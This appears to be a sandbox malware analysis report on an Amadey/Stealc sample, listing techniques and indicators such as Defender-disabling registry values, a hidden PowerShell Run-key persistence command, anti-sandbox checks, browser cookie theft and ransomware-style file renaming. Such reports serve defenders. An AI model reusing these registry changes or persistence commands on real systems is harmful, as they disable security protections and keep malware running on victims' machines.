amadey | 423d31c445f4f1b659e88a21e588d5c96910e86c6f40ea271201fbb55d40f39d

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	841b2153d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	841b2153d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	841b2153d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	841b2153d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	841b2153d3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	841b2153d3.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 5216 created 3484	5216	BlueMail.exe	56
PID 21284 created 3484	21284	Gxtuum.exe	56
PID 26812 created 3484	26812	Gxtuum.exe	56

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs

Query Registry

Virtualization/Sandbox Evasion

credential_access stealer

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	file.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3d998e8004.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	841b2153d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Renames multiple (8947) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Blocklisted process makes network request 2 IoCs

flow	pid	Process
807	8880	rundll32.exe
808	8880	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
22368	powershell.exe
23384	powershell.exe

Downloads MZ/PE file

Uses browser remote debugging 2 TTPs 6 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

Steal Web Session Cookie

T1539

Modify Authentication Process

pid	Process
2044	msedge.exe
3024	chrome.exe
4640	chrome.exe
1020	chrome.exe
4784	msedge.exe
1932	chrome.exe

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3d998e8004.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	841b2153d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	841b2153d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3d998e8004.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	9d3c4861d6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	BlueMail.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	9f104a61dd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	Gxtuum.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	file.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	skotes.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vmwin.vbs	BlueMail.exe

Executes dropped EXE 31 IoCs

pid	Process
4516	skotes.exe
3200	LoaderClient.exe
1572	LoaderClient.exe
2224	4ZD5C3i.exe
5216	BlueMail.exe
15384	9d3c4861d6.exe
36032	0f16e0ef32.exe
36128	0f16e0ef32.exe
36300	7z.exe
36404	7z.exe
36396	a333818474.exe
36468	7z.exe
36496	7z.exe
36556	7z.exe
36608	7z.exe
36648	7z.exe
36676	7z.exe
36744	in.exe
22712	3d998e8004.exe
19552	skotes.exe
17324	Intel_PTT_EK_Recertification.exe
17216	841b2153d3.exe
15492	BlueMail.exe
15844	9f104a61dd.exe
21284	Gxtuum.exe
11740	93a2347809.exe
25436	Gxtuum.exe
26124	skotes.exe
26248	Intel_PTT_EK_Recertification.exe
26812	Gxtuum.exe
8296	Gxtuum.exe

Identifies Wine through registry keys 2 TTPs 6 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	841b2153d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	file.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	3d998e8004.exe

Loads dropped DLL 54 IoCs

pid	Process
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
36300	7z.exe
36404	7z.exe
36468	7z.exe
36496	7z.exe
36556	7z.exe
36608	7z.exe
36648	7z.exe
36676	7z.exe
8880	rundll32.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	841b2153d3.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	841b2153d3.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Powershell = "\"powershell.exe\" -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\AppData\\Local\\Temp\\zGAZROmcTCuLbeW.ps1\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\a333818474.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1015044001\\a333818474.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3d998e8004.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1015045001\\3d998e8004.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\841b2153d3.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1015046001\\841b2153d3.exe"	skotes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\F:	4ZD5C3i.exe
File opened (read-only)	\??\Z:	4ZD5C3i.exe

Looks up external IP address via web service 8 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
353	api.ipify.org
354	api.ipify.org
448	api.ipify.org
472	api.ipify.org
480	api.ipify.org
482	api.ipify.org
486	api.ipify.org
490	api.ipify.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0007000000024550-22873.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
20852	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs

pid	Process
3788	file.exe
4516	skotes.exe
1572	LoaderClient.exe
22712	3d998e8004.exe
19552	skotes.exe
17216	841b2153d3.exe
26124	skotes.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 36032 set thread context of 36128	36032	0f16e0ef32.exe	124
PID 17324 set thread context of 23868	17324	Intel_PTT_EK_Recertification.exe	207
PID 5216 set thread context of 15492	5216	BlueMail.exe	219
PID 21284 set thread context of 25436	21284	Gxtuum.exe	280
PID 26248 set thread context of 26268	26248	Intel_PTT_EK_Recertification.exe	284
PID 26812 set thread context of 8296	26812	Gxtuum.exe	289

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/36744-22913-0x00007FF79E2B0000-0x00007FF79E740000-memory.dmp	upx
behavioral2/memory/36744-22916-0x00007FF79E2B0000-0x00007FF79E740000-memory.dmp	upx
behavioral2/memory/17324-23351-0x00007FF62B950000-0x00007FF62BDE0000-memory.dmp	upx
behavioral2/memory/17324-23373-0x00007FF62B950000-0x00007FF62BDE0000-memory.dmp	upx
behavioral2/memory/26248-24851-0x00007FF62B950000-0x00007FF62BDE0000-memory.dmp	upx
behavioral2/memory/26248-24865-0x00007FF62B950000-0x00007FF62BDE0000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\root\README.TXT	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.22681.0_x64__8wekyb3d8bbwe\x86\msvpxenc.dll	4ZD5C3i.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Client\AppVDllSurrogate64.exe	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\Assets\AppTiles\StoreAppList.targetsize-24_altform-lightunplated.png	4ZD5C3i.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-black_scale-100.png	4ZD5C3i.exe
File created	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\TrafficHub\contrast-white\README.TXT	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Car\RTL\contrast-white\MedTile.scale-125.png	4ZD5C3i.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hu-hu\ui-strings.js	4ZD5C3i.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\jsdt.dll	4ZD5C3i.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Green.xml	4ZD5C3i.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\ui-strings.js	4ZD5C3i.exe
File created	C:\Program Files\WindowsApps\Microsoft.NET.Native.Framework.1.7_1.7.25531.0_x64__8wekyb3d8bbwe\AppxMetadata\README.TXT	4ZD5C3i.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATER\README.TXT	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\BadgeLogo.scale-100.png	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_2019.19071.12548.0_x64__8wekyb3d8bbwe\Assets\PhotosAppList.targetsize-16_altform-fullcolor.png	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\Assets\contrast-white\MixedRealityPortalAppList.targetsize-80_altform-unplated_contrast-white.png	4ZD5C3i.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\ja-jp\ui-strings.js	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNoteNotebookLargeTile.scale-100.png	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_x64__8wekyb3d8bbwe\Assets\InsiderHubAppList.targetsize-30_contrast-white.png	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Windows.Photos_2019.19071.12548.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\PhotosMedTile.contrast-white_scale-100.png	4ZD5C3i.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365EduCloudEDUR_SubTrial-ul-oob.xrm-ms	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Assets\contrast-white\OrientationControlOuterCircle.png	4ZD5C3i.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ru-ru\ui-strings.js	4ZD5C3i.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ko-kr\ui-strings.js	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_x64__8wekyb3d8bbwe\Assets\ScreenSketchSquare44x44Logo.targetsize-20_altform-lightunplated.png	4ZD5C3i.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\sunec.dll	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_x64__8wekyb3d8bbwe\Assets\InsiderHubAppList.targetsize-96_altform-lightunplated_devicefamily-colorfulunplated.png	4ZD5C3i.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\cs\System.Windows.Input.Manipulations.resources.dll	4ZD5C3i.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll	4ZD5C3i.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Personal2019DemoR_BypassTrial180-ul-oob.xrm-ms	4ZD5C3i.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\ui-strings.js	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_x64__8wekyb3d8bbwe\PeopleUtilRT.winmd	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\ModifiedAlphaTexturePixelShader.cso	4ZD5C3i.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\sl-sl\README.TXT	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-black\OneNoteNewNoteMedTile.scale-100.png	4ZD5C3i.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Professional2019R_Retail-pl.xrm-ms	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WebMediaExtensions_1.0.20875.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\MedTile.scale-125_contrast-black.png	4ZD5C3i.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\sk-sk\ui-strings.js	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Services.Store.Engagement_10.0.18101.0_x64__8wekyb3d8bbwe\Microsoft.Services.Store.Engagement.Proxies.dll	4ZD5C3i.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\README.TXT	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.22681.0_x64__8wekyb3d8bbwe\x64\msvpxenc.dll	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\Assets\Logos\Square150x150\PaintMedTile.scale-125.png	4ZD5C3i.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-cn\PlayStore_icon.svg	4ZD5C3i.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ru-ru\README.TXT	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Assets\Square44x44Logo.targetsize-64.png	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2018.826.98.0_x64__8wekyb3d8bbwe\Assets\WindowsIcons\WindowsCameraAppList.contrast-black_targetsize-20.png	4ZD5C3i.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTest5-ppd.xrm-ms	4ZD5C3i.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019R_Trial-pl.xrm-ms	4ZD5C3i.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\OneNote\SendToOneNote.ini	4ZD5C3i.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\hr-hr\README.TXT	4ZD5C3i.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\widevinecdmadapter.dll	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\Store.Purchase\Resources\XboxResourceDictionary.xaml	4ZD5C3i.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\README.TXT	4ZD5C3i.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\sk-sk\README.TXT	4ZD5C3i.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\ja\System.Windows.Forms.Design.resources.dll	4ZD5C3i.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectProO365R_SubTrial-pl.xrm-ms	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\Images\PrintAndShare\Glyph_0xea22.png	4ZD5C3i.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\README.TXT	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.22681.0_x64__8wekyb3d8bbwe\Assets\LargeTile.scale-125.png	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Generic-Light.scale-400.png	4ZD5C3i.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL020.XML	4ZD5C3i.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ko-kr\ui-strings.js	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\en-gb\lpcstrings.json	4ZD5C3i.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\resources\strings\LocalizedStrings_pt-BR.json	4ZD5C3i.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	file.exe
File created	C:\Windows\Tasks\Gxtuum.job	BlueMail.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
9244	15844	WerFault.exe	220

System Location Discovery: System Language Discovery 1 TTPs 26 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9d3c4861d6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BlueMail.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gxtuum.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gxtuum.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0f16e0ef32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a333818474.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	a333818474.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3d998e8004.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	841b2153d3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9f104a61dd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	93a2347809.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4ZD5C3i.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	a333818474.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gxtuum.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BlueMail.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0f16e0ef32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
26776	PING.EXE
36824	powershell.exe
1928	PING.EXE
19988	powershell.exe
16904	PING.EXE
26312	powershell.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	9f104a61dd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	9f104a61dd.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
8424	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
